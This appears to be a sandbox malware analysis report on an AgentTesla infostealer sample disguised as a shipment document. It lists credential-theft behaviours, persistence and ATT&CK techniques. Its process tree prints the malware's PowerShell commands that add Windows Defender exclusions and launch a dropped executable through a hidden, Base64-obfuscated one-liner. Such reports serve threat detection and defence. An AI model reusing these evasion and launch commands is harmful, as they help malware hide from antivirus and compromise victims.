Analysis
- max time kernel
149s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 17:34
General
- Target SHIPMENT DOCUMENT TRAKON_Doc.exe
- Size 1.1MB
- Sample260804-v5m5vawdnb
- SHA256 23b7728772f59a57d85b814a25ee03fd31817dde8c4e8240cb458844323c7907
Malware Config
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 28 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SHIPMENT DOCUMENT TRAKON_Doc.exe"C:\Users\Admin\AppData\Local\Temp\SHIPMENT DOCUMENT TRAKON_Doc.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\SHIPMENT DOCUMENT TRAKON_Doc.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\SHIPMENT DOCUMENT TRAKON_Doc.exe"C:\Users\Admin\AppData\Local\Temp\SHIPMENT DOCUMENT TRAKON_Doc.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$vdc1or=$env:COMPUTERNAME;$5tuj0j=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$guqz2w=9747;$gj3xzy=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGlFQ0V4Q2YuZXhl')));$guqz2w=9747;& $5tuj0j -FilePath $gj3xzy"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\iECExCf.exe"C:\Users\Admin\AppData\Roaming\iECExCf.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\iECExCf.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\iECExCf.exe"C:\Users\Admin\AppData\Roaming\iECExCf.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_vlluupty.oap.ps1
iECExCf.exe
memory/1236-817-0x00000000055A0000-0x00000000055B4000-memory.dmp
memory/1268-4-0x0000000004EC0000-0x0000000004ECA000-memory.dmp
memory/1268-5-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/1268-6-0x0000000005480000-0x0000000005494000-memory.dmp
memory/1268-7-0x0000000074AE2000-0x0000000074AE3000-memory.dmp
memory/1268-8-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/1268-9-0x00000000087D0000-0x000000000886C000-memory.dmp
memory/1268-10-0x0000000008870000-0x0000000008958000-memory.dmp
memory/1268-794-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/1268-3-0x0000000004EE0000-0x0000000004F72000-memory.dmp
memory/1268-2-0x00000000054A0000-0x0000000005A5A000-memory.dmp
memory/1268-1-0x0000000000270000-0x0000000000386000-memory.dmp
memory/1268-0-0x0000000074AE2000-0x0000000074AE3000-memory.dmp
memory/1340-60-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-41-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-134-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-791-0x00000000054A0000-0x0000000005506000-memory.dmp
memory/1340-132-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-792-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/1340-130-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-793-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/1340-128-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-126-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-124-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-141-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/1340-122-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-120-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-822-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/1340-821-0x0000000006930000-0x0000000006980000-memory.dmp
memory/1340-11-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-116-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-118-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-88-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-114-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-110-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-108-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-104-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-102-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-98-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-96-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-94-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-90-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-138-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-85-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-82-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-80-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-78-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-72-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-68-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-66-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-64-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-140-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-56-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-53-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-17-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-51-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-49-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-47-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-45-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-29-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-44-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-136-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-37-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-35-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-33-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-31-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-28-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-25-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-23-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-21-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-19-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-15-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-112-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-106-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-100-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-92-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-86-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-75-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-76-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-70-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-62-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-58-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1340-39-0x0000000000400000-0x0000000000454000-memory.dmp
memory/2600-814-0x000001936DB90000-0x000001936DBB2000-memory.dmp
memory/4416-1220-0x00000000070C0000-0x0000000007163000-memory.dmp
memory/4416-1217-0x0000000071010000-0x000000007105C000-memory.dmp
memory/4416-1216-0x0000000006370000-0x00000000063BC000-memory.dmp
memory/4416-1214-0x0000000005A40000-0x0000000005D9B000-memory.dmp
memory/5788-811-0x0000000007A80000-0x0000000007B16000-memory.dmp
memory/5788-795-0x0000000005810000-0x0000000005832000-memory.dmp
memory/5788-809-0x0000000007810000-0x000000000782A000-memory.dmp
memory/5788-808-0x0000000007E50000-0x00000000084CC000-memory.dmp
memory/5788-810-0x0000000007880000-0x000000000788A000-memory.dmp
memory/5788-54-0x0000000005920000-0x0000000005F6A000-memory.dmp
memory/5788-799-0x0000000006150000-0x00000000064AB000-memory.dmp
memory/5788-802-0x0000000007660000-0x0000000007696000-memory.dmp
memory/5788-796-0x00000000058B0000-0x0000000005916000-memory.dmp
memory/5788-807-0x00000000076D0000-0x0000000007773000-memory.dmp
memory/5788-417-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/5788-820-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/5788-13-0x0000000074AD0000-0x000000007528C000-memory.dmp
memory/5788-12-0x0000000002C60000-0x0000000002C96000-memory.dmp
memory/5788-806-0x00000000076A0000-0x00000000076C0000-memory.dmp
memory/5788-803-0x0000000070DA0000-0x0000000070DEC000-memory.dmp
memory/5788-800-0x00000000064B0000-0x00000000064CE000-memory.dmp
memory/5788-801-0x0000000006860000-0x00000000068AC000-memory.dmp